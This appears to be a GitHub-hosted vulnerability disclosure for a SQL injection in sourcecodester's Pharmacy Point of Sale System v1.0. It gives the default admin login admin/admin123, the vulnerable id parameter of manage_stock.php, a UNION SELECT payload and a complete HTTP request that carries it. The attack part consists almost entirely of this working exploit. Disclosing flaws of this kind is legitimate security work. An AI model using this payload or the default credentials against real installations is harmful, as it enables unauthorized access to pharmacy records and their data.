Skip to content

Latest commit

 

History

History
31 lines (20 loc) · 1.08 KB

File metadata and controls

31 lines (20 loc) · 1.08 KB

Pharmacy Point of Sale System v1.0 by sourcecodester has SQL injection 2

BUG_Author: Liu Lanling

Login account: admin/admin123

vendors: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /pharmacy/manage_stock.php

Vulnerability location: /pharmacy/manage_stock.php?id=, id

[+] Payload: /pharmacy/manage_stock.php?id=5%27%20union%20select%201,2,3,4,sqlite_version(),6--+ // Leak place ---> id

GET /pharmacy/manage_stock.php?id=5%27%20union%20select%201,2,3,4,sqlite_version(),6--+ HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aql25isdr8lel085k89oteptif
Connection: close

image